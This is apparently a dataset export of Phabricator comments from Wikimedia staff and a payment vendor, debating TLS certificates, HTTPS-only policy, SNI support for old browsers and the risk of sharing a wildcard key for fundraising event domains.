**We need use of this tool by 8/10** so we do not have time to implement a complicated solution for https right now. All we are asking is the ability to use this tool with one of the two domains on http for two months and get our major Fall event out of the way. I'd like to apologize that it may seem I'm dropping this on you last minute; I initially brought this project to Ops on 6/29 which was the day the payments contract was finalized, and I incorrectly assumed these requests were simple. This has been an important learning experience for me and I will certainly start these discussions with a few months' buffer whenever possible in the future.

Is the above compromise, in which we commit to change this page to https this FY and present a plan to do so on 10/7, amenable? ",,,1438201785,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.75,0.0,0.0,0.25,1.5,6.25,2.25,0.0,0.0,0.5,1.5,1.25,0.0,0.0,0.25,6.25,0.0,5.5,13.5,0.0,2.25,0.0,0.0,0.0,2.0,0.0,0.25,0.25,0.5,1.25,0.25,4.75,1.25,0.5,0.5,0.25,0.25,0.0,0.25,1.0,0.0,0.25,1.0,2.75,0.0,0.5,0.25,0.0,0.25,12.75,0.75,4.25,0.0,0.0,0.0,0.0,0.0,0.75,1.0,0.0,0.5,1.25,0.0,0.0,0.25,0.0,0.0,5.75,3.5,7.25,2.25,2.25,12.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,7.25,13.5,2.25,0.25,0.25,0.0,7.25,0.0,1.25,3.0,0.75,1.5,0.5,0.0,0.25,3.8451465201465203,0.7652014652014651,"I appreciate the concerns regarding setting up a new page on http. It has become clear to us that we cannot allow this page to be http for the long-term. However, for this specific donor base, losing support of XP + any version of IE is not trivial. XP is still a common OS in large corporations as well as for older generations, and our major donors are likely to fit into these categories.

I made a commitment toSCREEN_NAME yesterday that I will present our plan for how to migrate the page from http to https on 10/7/15 — there's a calendar invite which we have both accepted so this won't slip by. We can't say right now if that solution will be https through SNI or a new IP (this is not a simple solution for Trilogy with their current system), but we have committed to finding a solution either way.SCREEN_NAME and I agree that we will make this change this fiscal year; if Ops has a stricter deadline, let us know.  

**We need use of this tool by 8/10** so we do not have time to implement a complicated solution for https right now. All we are asking is the ability to use this tool with one of the two domains on http for two months and get our major Fall event out of the way. I'd like to apologize that it may seem I'm dropping this on you last minute; I initially brought this project to Ops on 6/29 which was the day the payments contract was finalized, and I incorrectly assumed these requests were simple. This has been an important learning experience for me and I will certainly start these discussions with a few months' buffer whenever possible in the future.

Is the above compromise, in which we commit to change this page to https this FY and present a plan to do so on 10/7, amenable? "
498995,SSL cert needed for new fundraising events domain,"My take (pardon me for repeating what others have said):
- I don't think we should be adding any new non-HTTPS sites at this point. We've taken a very deliberate policy decision as an organization to commit to HTTPS-only so something like this would be technically against this policy. We have already implemented this for our most important and popular assets/websites, so it's hard for me to see why it would be more contentious to do it for smaller sites such as this one. If there is a extra price to be paid for this, we should factor it in our decision and pay it.

- It's already impossible from a technical perspective to set up a new non-HTTPS sites in every domain of ours with the exception of wikimedia.org (e.g. if the request was for events.wikipedia.org, it would be completely impossible from a technical implementation perspective). The only reason this is still technically possible for wikimedia.org is that we have a legacy backlog and we need to slowly fix that. Any new additions at this point are just increasing our backlog and contributing to technical debt.

- As others said, I don't think it makes sense to worry about OS/browsers combos not being able to access this site over HTTPS when they are already unable to browse our main websites (Wikipedia etc.). This includes IE6/XP. That said, we do not require SNI to access our main site (but we do require it for various other smaller sites of ours, including e.g. Phabricator or the Wikipedia Store). So, yes, certain combinations like IE8/XP would work with the main site but not with an SNI website.

- Whether we should support such ancient OS/browser combinations aside, it's still unclear to me why is this a strict requirement: can't Trilogy work around this by getting an additional IP just for us?",,,1438190412,,PHID-USER-ktuojnvco4fpzmyhzyaf,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.75,0.25,0.5,0.25,1.5,10.25,2.0,0.0,0.0,0.5,1.75,1.0,0.0,0.5,0.25,5.25,0.5,7.5,12.75,0.25,2.5,0.75,0.0,0.0,0.75,0.25,0.0,0.25,0.0,1.0,0.0,5.0,1.25,2.5,1.25,0.0,0.0,0.0,0.0,0.75,0.0,0.25,0.0,2.25,0.0,0.25,0.0,0.0,0.0,9.0,1.5,2.25,0.0,1.25,0.25,0.0,0.0,0.5,0.25,0.25,0.25,1.5,0.25,1.0,0.0,0.0,0.5,3.75,3.25,8.25,2.0,1.75,8.25,0.0,0.0,0.0,0.0,6.25,0.25,0.25,0.0,8.75,12.75,3.5,0.25,0.0,0.0,8.25,0.0,1.0,2.5,1.0,1.5,0.75,0.25,0.75,4.035236502627807,0.7549271380793119,"My take (pardon me for repeating what others have said):
- I don't think we should be adding any new non-HTTPS sites at this point. We've taken a very deliberate policy decision as an organization to commit to HTTPS-only so something like this would be technically against this policy. We have already implemented this for our most important and popular assets/websites, so it's hard for me to see why it would be more contentious to do it for smaller sites such as this one. If there is a extra price to be paid for this, we should factor it in our decision and pay it.

- It's already impossible from a technical perspective to set up a new non-HTTPS sites in every domain of ours with the exception of wikimedia.org (e.g. if the request was for events.wikipedia.org, it would be completely impossible from a technical implementation perspective). The only reason this is still technically possible for wikimedia.org is that we have a legacy backlog and we need to slowly fix that. Any new additions at this point are just increasing our backlog and contributing to technical debt.

- As others said, I don't think it makes sense to worry about OS/browsers combos not being able to access this site over HTTPS when they are already unable to browse our main websites (Wikipedia etc.). This includes IE6/XP. That said, we do not require SNI to access our main site (but we do require it for various other smaller sites of ours, including e.g. Phabricator or the Wikipedia Store). So, yes, certain combinations like IE8/XP would work with the main site but not with an SNI website.

- Whether we should support such ancient OS/browser combinations aside, it's still unclear to me why is this a strict requirement: can't Trilogy work around this by getting an additional IP just for us?"
498632,SSL cert needed for new fundraising events domain,"> We can delay adding HTTPS for the events site, but we'd still like to commit to eventually correcting that (and the other cases that are outstanding, all of which are blocking progress for gaining full TLS security for other critical sites within wikimedia.org). If non-SNI compatibility is a requirement, that can be addressed by dedicating an IP address to it (here, or at a 3rd party) so that it can be the non-SNI default domainname for an HTTPS server instance.

Thanks for being flexible with us, and for providing some ideas for solutions to the long-term https issue here! @BBlack I'm sending you a calendar invite which is my reminder and commitment to you that I will let you know what our plans are to address this going forward. I've put this on 10/7, which is a week after the big event we're working towards ends. Let me know if that works with your timeframe.

Is there anything you need from us to get generate the eventdonations.wikimedia.org cert?

For this broader 3rd party conversation, Megan, Lisa, and I have a meeting with Terry next Wednesday. We'll broach the subject with him and then I will schedule something with you, Mark, Rob, and Faidon after that. Does that sound good?



",,,1438126783,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.5,1.5,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,6.5,0.0,2.0,11.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,6.0,1.0,0.0,0.0,3.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.5,0.0,0.0,0.0,9.5,2.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,4.0,2.5,11.5,1.0,3.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,11.0,11.5,5.5,1.5,0.0,0.0,11.0,0.0,1.5,1.5,2.5,2.0,0.5,0.0,0.0,4.051948051948052,0.7727272727272727,"QUOTE

Thanks for being flexible with us, and for providing some ideas for solutions to the long-term https issue here!SCREEN_NAME I'm sending you a calendar invite which is my reminder and commitment to you that I will let you know what our plans are to address this going forward. I've put this on 10/7, which is a week after the big event we're working towards ends. Let me know if that works with your timeframe.

Is there anything you need from us to get generate the eventdonations.wikimedia.org cert?

For this broader 3rd party conversation, Megan, Lisa, and I have a meeting with Terry next Wednesday. We'll broach the subject with him and then I will schedule something with you, Mark, Rob, and Faidon after that. Does that sound good?



"
498620,SSL cert needed for new fundraising events domain,"For reference, IE7 and 8 on WinXP account for at most 0.6% of total traffic on a global weekly average basis, and the bulk of that tends to look like it comes from office hours in the Global South.  That's a stat we're hoping to help reduce through some campaigning aimed at getting users to upgrade sometime soon, but regardless we can't drop support for it until that number gets significantly lower I don't think.

The other remaining significant non-SNI case for users is Android 2.x: it should be roughly 1% of current traffic based on past related estimates, but I don't have a firm current number for it on-hand ( https://stats.wikimedia.org 's last report seems to roughly align with that estimate, though).  We still support both of these on the primary sites and probably will for quite a while yet, but we're not explicitly supporting them on our ""misc"" services cluster for sites like Phabricator, git, etc (they have at different times either been broken for the misc services cluster or not, depending on other configuration changes made for unrelated reasons).

We can delay adding HTTPS for the events site, but we'd still like to commit to eventually correcting that (and the other cases that are outstanding, all of which are blocking progress for gaining full TLS security for other critical sites within wikimedia.org).  If non-SNI compatibility is a requirement, that can be addressed by dedicating an IP address to it (here, or at a 3rd party) so that it can be the non-SNI default domainname for an HTTPS server instance.

And yes, I think we should still have a broader conversation about how we handle 3rd-party hosting in the wake of HTTPS: the bar for using 3rd parties to host sites in our primary domains at all should probably be higher than it has been in the past to avoid various related issues.  There are also alternative options that create less mess, such as using a separate new 2nd-level domain we own, or simply using service hostnames within the 3rd party's domains that they control, either of which avoids interfering with all of these issues for wikimedia.org itself.  We don't yet have a clear policy on this going forward, but FR is probably the most complicated case, so resolving how to handle it here would be a good step forward.",,,1438125652,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.8,0.0,0.0,0.4,1.2,9.8,1.4,0.0,0.2,0.2,1.0,1.4,0.0,0.0,0.2,3.0,1.0,7.6,13.4,0.0,1.8,0.6,0.4,0.0,0.0,0.0,0.4,0.0,0.6,0.6,0.0,5.4,1.2,1.8,0.4,0.0,0.2,0.0,0.2,0.2,0.0,0.6,0.2,1.2,0.2,0.4,0.2,0.4,0.0,13.4,1.0,1.0,0.2,0.4,0.0,0.6,0.0,0.2,0.4,0.0,0.4,1.6,0.2,0.2,0.2,0.4,0.2,5.0,2.6,5.6,1.0,2.8,8.4,0.0,0.0,0.0,0.0,4.2,0.2,0.8,0.0,5.4,13.4,2.2,0.0,0.4,0.0,5.4,0.0,1.6,2.4,0.4,3.2,0.8,0.4,0.6,4.0415381019167835,0.8029453015427771,"For reference, IE7 and 8 on WinXP account for at most 0.6% of total traffic on a global weekly average basis, and the bulk of that tends to look like it comes from office hours in the Global South.  That's a stat we're hoping to help reduce through some campaigning aimed at getting users to upgrade sometime soon, but regardless we can't drop support for it until that number gets significantly lower I don't think.

The other remaining significant non-SNI case for users is Android 2.x: it should be roughly 1% of current traffic based on past related estimates, but I don't have a firm current number for it on-hand ( URL 's last report seems to roughly align with that estimate, though).  We still support both of these on the primary sites and probably will for quite a while yet, but we're not explicitly supporting them on our ""misc"" services cluster for sites like Phabricator, git, etc (they have at different times either been broken for the misc services cluster or not, depending on other configuration changes made for unrelated reasons).

We can delay adding HTTPS for the events site, but we'd still like to commit to eventually correcting that (and the other cases that are outstanding, all of which are blocking progress for gaining full TLS security for other critical sites within wikimedia.org).  If non-SNI compatibility is a requirement, that can be addressed by dedicating an IP address to it (here, or at a 3rd party) so that it can be the non-SNI default domainname for an HTTPS server instance.

And yes, I think we should still have a broader conversation about how we handle 3rd-party hosting in the wake of HTTPS: the bar for using 3rd parties to host sites in our primary domains at all should probably be higher than it has been in the past to avoid various related issues.  There are also alternative options that create less mess, such as using a separate new 2nd-level domain we own, or simply using service hostnames within the 3rd party's domains that they control, either of which avoids interfering with all of these issues for wikimedia.org itself.  We don't yet have a clear policy on this going forward, but FR is probably the most complicated case, so resolving how to handle it here would be a good step forward."
498488,SSL cert needed for new fundraising events domain,"The concern for us lies in what @EWilfong_WMF just said — SNI
incompatibility on XP applies to all versions of IE, not just IE 6. So for
XP users with IE 7+, they would be able to see eventdonations.wikimedia.org,
but not events.wikimedia.org if it were https.

We don't have a way of knowing what OS our donors use, so we can't give an
estimate of how many use XP, but we operate under the reasonable assumption
that due to the age demographic of most of our major donors, they are
unlikely to have up to date operating systems. This is a real concern when
dealing with these donors.

I can see that we may not be able to use events.wikimedia.org on http for
the long term, so we will have to see what our best alternatives are. In
the meantime, we have only a couple weeks to get out the first round of
invitations through this system, and it's already taken months to get as
far as we are now! Is it possible for us to move forward with the one cert
for now, and then have a meeting to discuss solutions after?

@BBlack if you'd still like to meet to have a broader conversation about
fundraising and third parties, let me know. That conversation is much
bigger than me so I will need to get Lisa and Megan involved.",,,1438115584,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.0,0.0,0.0,0.0,1.6666666666666667,5.666666666666667,1.3333333333333333,0.0,0.0,0.6666666666666666,1.3333333333333333,1.0,0.0,0.3333333333333333,0.0,5.666666666666667,0.3333333333333333,7.0,16.666666666666668,0.0,4.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,1.3333333333333333,0.0,4.666666666666667,2.0,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,0.6666666666666666,2.3333333333333335,0.0,1.0,0.0,0.0,0.3333333333333333,8.666666666666666,0.3333333333333333,1.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,4.333333333333333,3.0,7.0,3.0,2.0,6.333333333333333,0.0,0.0,0.3333333333333333,0.0,8.0,0.0,1.3333333333333333,0.0,7.666666666666667,16.666666666666668,4.333333333333333,0.3333333333333333,0.0,0.0,7.666666666666667,0.0,1.3333333333333333,2.0,1.3333333333333333,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,3.71945461945462,0.7231583231583231,"The concern for us lies in whatSCREEN_NAME just said — SNI
incompatibility on XP applies to all versions of IE, not just IE 6. So for
XP users with IE 7+, they would be able to see eventdonations.wikimedia.org,
but not events.wikimedia.org if it were https.

We don't have a way of knowing what OS our donors use, so we can't give an
estimate of how many use XP, but we operate under the reasonable assumption
that due to the age demographic of most of our major donors, they are
unlikely to have up to date operating systems. This is a real concern when
dealing with these donors.

I can see that we may not be able to use events.wikimedia.org on http for
the long term, so we will have to see what our best alternatives are. In
the meantime, we have only a couple weeks to get out the first round of
invitations through this system, and it's already taken months to get as
far as we are now! Is it possible for us to move forward with the one cert
for now, and then have a meeting to discuss solutions after?
SCREEN_NAME if you'd still like to meet to have a broader conversation about
fundraising and third parties, let me know. That conversation is much
bigger than me so I will need to get Lisa and Megan involved."
498446,SSL cert needed for new fundraising events domain,"Thanks, @bblack and @robh for the insight into current operating procedure for third-party sites hosted over HTTPS under the wikimedia.org domain.  We were not given direction regarding a SOP for this process, so that helps immensely.  I understand your concerns re: the wildcard certificate and agree that you should generate the certs on your end.

Re: SNI, one clarification is that this will exclude all IE users on Windows XP. We are happy to set up events.wikimedia.org on HTTPS and recommended that we do so, but we wanted to provide the limitations of SNI upfront to the fundraising team. Ultimately this is a decision for Wikimedia to make internally, but I wanted to clarify that we are able to accommodate either decision.

As an aside, I must stress that we take the security of our system very seriously and we're happy to discuss any specific concerns you have.  We have hosted large clients on our payment processing platform for 12 years and I’m confident that we can assuage any concerns regarding security of our system and the privacy of the data passing through it.
",,,1438112074,,PHID-USER-almbmuy6a3hcls7c2zdl,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,4.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,6.666666666666667,0.6666666666666666,2.6666666666666665,13.0,0.0,2.0,0.6666666666666666,0.3333333333333333,0.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,1.3333333333333333,5.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,3.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,10.666666666666666,1.0,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.6666666666666667,7.666666666666667,2.6666666666666665,2.6666666666666665,7.666666666666667,0.0,0.0,0.0,0.0,3.6666666666666665,0.0,0.6666666666666666,0.0,8.666666666666666,13.0,3.0,0.0,0.0,0.0,8.666666666666666,0.0,0.0,1.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,4.3771566597653555,0.7559006211180123,"Thanks,SCREEN_NAME andSCREEN_NAME for the insight into current operating procedure for third-party sites hosted over HTTPS under the wikimedia.org domain.  We were not given direction regarding a SOP for this process, so that helps immensely.  I understand your concerns re: the wildcard certificate and agree that you should generate the certs on your end.

Re: SNI, one clarification is that this will exclude all IE users on Windows XP. We are happy to set up events.wikimedia.org on HTTPS and recommended that we do so, but we wanted to provide the limitations of SNI upfront to the fundraising team. Ultimately this is a decision for Wikimedia to make internally, but I wanted to clarify that we are able to accommodate either decision.

As an aside, I must stress that we take the security of our system very seriously and we're happy to discuss any specific concerns you have.  We have hosted large clients on our payment processing platform for 12 years and I’m confident that we can assuage any concerns regarding security of our system and the privacy of the data passing through it.
"
498416,SSL cert needed for new fundraising events domain,"@bblack, we should definitely **NOT** give them our wildcard key. We will need to work out a safe way to get them subdomain certificates-- I think we should probably generate the key and get the certs, then send them the private key, instead of having to trust them to safely generate a key that we're going to put our name on.

Caitlin, I didn't realize the plan was for events.wikimedia.org to be http only. As Brandon has said, if we're afraid donors aren't using a modern browser, then they won't be able to connect to Wikipedia either. It's some extra work for them, but I don't think there's a valid technical reason for them to not set that up for us.",,,1438109767,,PHID-USER-doeppszazlm3r7xah4il,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.5,0.0,0.0,0.0,4.0,6.0,1.5,0.0,0.0,0.5,1.0,4.0,0.0,0.5,0.5,6.0,0.0,8.5,12.0,0.0,4.5,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,5.0,2.5,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,8.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,4.5,2.5,6.5,1.0,1.0,6.0,0.0,0.0,0.0,0.0,9.5,0.0,0.5,0.0,11.0,12.0,2.5,0.0,0.0,0.0,11.0,0.0,0.0,2.5,4.0,1.5,0.0,0.0,0.0,3.719178082191781,0.6986301369863013,"SCREEN_NAME, we should definitely **NOT** give them our wildcard key. We will need to work out a safe way to get them subdomain certificates-- I think we should probably generate the key and get the certs, then send them the private key, instead of having to trust them to safely generate a key that we're going to put our name on.

Caitlin, I didn't realize the plan was for events.wikimedia.org to be http only. As Brandon has said, if we're afraid donors aren't using a modern browser, then they won't be able to connect to Wikipedia either. It's some extra work for them, but I don't think there's a valid technical reason for them to not set that up for us."
498394,SSL cert needed for new fundraising events domain,">>! In T107059#1488714, @CCogdill_WMF wrote:
> We thought using the wildcard cert for donate.wikimedia.org already has was the easiest thing, but I can see your concerns so I've edited the task description to clarify that we are also fine with WMF purchasing a cert that we can use.

All other things I've said aside, the primary reason we can't share the wildcard key is it gives the third party access to impersonate any and all of our other sites, and makes all of our operational security for our private key dependent on their operational security to boot.  I think the reason we've gotten a little hung up on that is that it's kind of crazy that anyone would even suggest that option, and speaks volumes as to their point of view on security issues...

> The only domain for which we need a cert right now is eventdonations.wikimedia.org. 
> 
> We decided that events.wikimedia.org would be http for now because we are unable to use https on this system without breaking the page for users on XP / IE and other combos of old operating systems and browsers. The reason we can't have events.wikimedia.org over https is Trilogy's system is multi-tenancy. They can use Server Name Indication(SNI), which would allow multiple domain certs to exist at the same IP, however older browsers may not support SNI. See https://en.wikipedia.org/wiki/Server_Name_Indication#Implementation. 
>
> This tool will be used for a small number of major donors only, and that cohort is more likely to be using older operating systems.


This doesn't make basic sense to me, for a number of reasons:
1) It's generally impossible on the current internet to support HTTPS at all in a way that's both actually-secure and supports IE6/XP, due to the Poodle attack last year.  Regardless of SNI, the HTTPS site for eventdonations.wikimedia.org will be broken for the same users you're trying to save on events.wikimedia.org...
2) Our own production sites are in a similar boat (as is the rest of the world).  IE6/XP is already dead to wikipedia and cannot access us at all.  It seems unlikely that donors need lowered access requirements as compared to the primary wiki sites themselves - they couldn't even use/read what what they're donating to support.
3) The browsers you're talking about saving access to have ridiculously severe security flaws.  The donors might thank you for making it a little more obvious that if they're using these systems for anything financial or personal in nature at all, they're exposing themselves to some pretty severe risks...

We've been way way way down the deep rabbit hole of all of these complex implementation, security, and compatibility tradeoffs for our primary production sites already, and we have a standardized setup that works well and gives the best compatibility we can without compromising security.  But once you step out to a third party, all bets are off and everything has to be evaluated from scratch again about how they're configured.  Generally speaking, the average site out there is configured pretty poorly...

> My understanding from T102827 is that there are other subdomains running on http currently.

There are a few, but not many, and we've been actively trying to eliminate them for some time now.  It's a mess, and adding more just extends that timeline and mess.
",,,1438107659,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,2.6,0.6,0.0,0.6,1.0,7.4,1.0,0.0,0.0,0.2,1.2,2.6,0.0,0.0,0.4,3.0,0.2,7.6,12.8,0.6,1.4,0.0,0.0,0.0,0.2,0.2,0.0,0.0,0.8,0.4,0.0,7.4,1.0,1.2,0.8,0.8,0.2,0.0,0.0,0.2,0.0,2.0,0.6,2.6,0.0,0.0,0.0,0.4,0.2,12.0,0.4,0.8,0.0,0.6,0.0,0.0,0.6,0.0,1.2,0.0,0.0,1.2,0.0,0.4,0.0,0.4,0.0,5.0,2.4,6.2,1.6,3.2,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,12.8,2.4,0.0,0.0,0.0,7.0,0.0,1.0,1.8,1.0,2.2,0.4,0.2,0.6,4.062876254180602,0.7494983277591973,"QUOTE
QUOTE

All other things I've said aside, the primary reason we can't share the wildcard key is it gives the third party access to impersonate any and all of our other sites, and makes all of our operational security for our private key dependent on their operational security to boot.  I think the reason we've gotten a little hung up on that is that it's kind of crazy that anyone would even suggest that option, and speaks volumes as to their point of view on security issues...

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE


This doesn't make basic sense to me, for a number of reasons:
1) It's generally impossible on the current internet to support HTTPS at all in a way that's both actually-secure and supports IE6/XP, due to the Poodle attack last year.  Regardless of SNI, the HTTPS site for eventdonations.wikimedia.org will be broken for the same users you're trying to save on events.wikimedia.org...
2) Our own production sites are in a similar boat (as is the rest of the world).  IE6/XP is already dead to wikipedia and cannot access us at all.  It seems unlikely that donors need lowered access requirements as compared to the primary wiki sites themselves - they couldn't even use/read what what they're donating to support.
3) The browsers you're talking about saving access to have ridiculously severe security flaws.  The donors might thank you for making it a little more obvious that if they're using these systems for anything financial or personal in nature at all, they're exposing themselves to some pretty severe risks...

We've been way way way down the deep rabbit hole of all of these complex implementation, security, and compatibility tradeoffs for our primary production sites already, and we have a standardized setup that works well and gives the best compatibility we can without compromising security.  But once you step out to a third party, all bets are off and everything has to be evaluated from scratch again about how they're configured.  Generally speaking, the average site out there is configured pretty poorly...

QUOTE

There are a few, but not many, and we've been actively trying to eliminate them for some time now.  It's a mess, and adding more just extends that timeline and mess.
"
498356,SSL cert needed for new fundraising events domain,"We thought using the wildcard cert for donate.wikimedia.org already has was the easiest thing, but I can see your concerns so I've edited the task description to clarify that we are also fine with WMF purchasing a cert that we can use.

The only domain for which we need a cert right now is eventdonations.wikimedia.org. 

We decided that events.wikimedia.org would be http for now because we are unable to use https on this system without breaking the page for users on XP / IE and other combos of old operating systems and browsers. The reason we can't have events.wikimedia.org over https is Trilogy's system is multi-tenancy. They can use Server Name Indication(SNI), which would allow multiple domain certs to exist at the same IP, however older browsers may not support SNI. See https://en.wikipedia.org/wiki/Server_Name_Indication#Implementation. 

This tool will be used for a small number of major donors only, and that cohort is more likely to be using older operating systems.

My understanding from T102827 is that there are other subdomains running on http currently. Is it possible for us to get the cert for eventdonations.wikimedia.org and run this system for now so that we can get invitations out for this event as soon as we need to? We can continue conversations about what to do with events.wikimedia.org going forward.



> It concerns me that potentially private information about donors is passing through third parties at all.  How well do we trust these third parties in a legal sense to manage the privacy of that data? What about in an operational security sense?

Legal has reviewed and approved contracts with all 3rd party contractors who manage data, and their approval process isn't easy! We wouldn't be able to process payments if we didn't involve third parties so I'm not sure this argument makes sense for an organization with a fundraising model. The eventdonations.wikimedia.org site, the only one which has any forms to collect donor data, will be PCI compliant and @csteipp spoke with one of our Trilogy contacts to determine the security of their systems on 7/17. What other steps should we take to determine operational security?",,,1438104721,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,0.5,0.0,0.0,0.25,1.75,6.25,1.75,0.25,0.0,0.25,0.75,1.75,0.0,0.75,0.25,5.0,0.75,5.0,13.0,0.0,3.0,0.25,0.5,0.0,1.25,0.5,0.25,0.0,1.5,1.25,0.75,5.0,2.25,0.25,0.0,0.25,0.0,0.25,0.25,1.0,0.0,0.75,0.75,2.25,0.0,0.5,0.25,0.0,0.25,14.75,0.0,2.25,0.25,0.25,0.0,0.0,0.0,0.5,0.5,0.0,0.25,1.0,0.0,0.25,0.25,0.25,0.0,4.25,4.0,8.0,2.25,1.75,7.0,0.0,0.0,0.25,0.0,6.75,0.0,0.75,0.0,6.25,13.0,4.75,0.5,0.0,0.0,6.25,0.0,1.75,1.25,0.25,1.5,0.75,0.25,0.0,4.498897353648758,0.7983159582999199,"We thought using the wildcard cert for donate.wikimedia.org already has was the easiest thing, but I can see your concerns so I've edited the task description to clarify that we are also fine with WMF purchasing a cert that we can use.

The only domain for which we need a cert right now is eventdonations.wikimedia.org. 

We decided that events.wikimedia.org would be http for now because we are unable to use https on this system without breaking the page for users on XP / IE and other combos of old operating systems and browsers. The reason we can't have events.wikimedia.org over https is Trilogy's system is multi-tenancy. They can use Server Name Indication(SNI), which would allow multiple domain certs to exist at the same IP, however older browsers may not support SNI. See URL 

This tool will be used for a small number of major donors only, and that cohort is more likely to be using older operating systems.

My understanding from T102827 is that there are other subdomains running on http currently. Is it possible for us to get the cert for eventdonations.wikimedia.org and run this system for now so that we can get invitations out for this event as soon as we need to? We can continue conversations about what to do with events.wikimedia.org going forward.



QUOTE

Legal has reviewed and approved contracts with all 3rd party contractors who manage data, and their approval process isn't easy! We wouldn't be able to process payments if we didn't involve third parties so I'm not sure this argument makes sense for an organization with a fundraising model. The eventdonations.wikimedia.org site, the only one which has any forms to collect donor data, will be PCI compliant andSCREEN_NAME spoke with one of our Trilogy contacts to determine the security of their systems on 7/17. What other steps should we take to determine operational security?"
498329,SSL cert needed for new fundraising events domain,"Having now read some of the traffic in the other linked tickets: can we at least be sure we get HTTPS working on both new domains as well?  We're trying to eliminate all endpoints within wikimedia.org that aren't HTTPS-capable (and then some, ideally).  Adding events.wikimedia.org as HTTP-only would be a step backwards on that front.",,,1438102217,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,3,True,4.0,0.0,0.0,0.0,1.0,7.0,3.0,0.0,0.0,0.0,4.0,3.0,0.0,1.0,0.0,4.0,0.0,13.0,11.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,0.0,1.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,3.0,1.0,0.0,0.0,4.0,0.0,1.0,1.0,0.0,6.0,0.0,1.0,1.0,4.014285714285714,0.8428571428571429,"Having now read some of the traffic in the other linked tickets: can we at least be sure we get HTTPS working on both new domains as well?  We're trying to eliminate all endpoints within wikimedia.org that aren't HTTPS-capable (and then some, ideally).  Adding events.wikimedia.org as HTTP-only would be a step backwards on that front."
498321,SSL cert needed for new fundraising events domain,">>! In T107059#1488355, @CCogdill_WMF wrote:
> I'll set up a meeting this week. Can I get a sense of what the DNS/TLS issues are that concern you, so I know who I need to include from fundraising?

In the broader context, I'm concerned about any further proliferation of this pattern of outsourcing critical sites that live within our production domainnames to 3rd parties.  That should be a pretty exceptional circumstance with a really good justification (I don't think even the few we have now are well-justified).  It raises all kinds of issues with certificates, with cross-domain trust/security issues in browsers (think cookies set on wikimedia.org ...), etc.

Specifically on the certificate front: any solution other than having WMF purchase the cert on our own and hand it to the vendor presents problems with HSTS and HPKP preloading of our domains in browsers.  Even then, there are further operational concerns on two fronts.  The first is that for all kinds of interrelated security reasons we don't want to purchase certs with long lifetimes (we're keeping it down to 1 year at present, but I could even see us trying to go shorter in the future), and thus each 3rd party vendor set up this way also involves a once-per-year additional cost outlay and coordination with them on rotating to a new private key and new cert.  There's also concerns with operational practice mismatches with their TLS implementation on things like browser compatibility and basic minimum security levels.

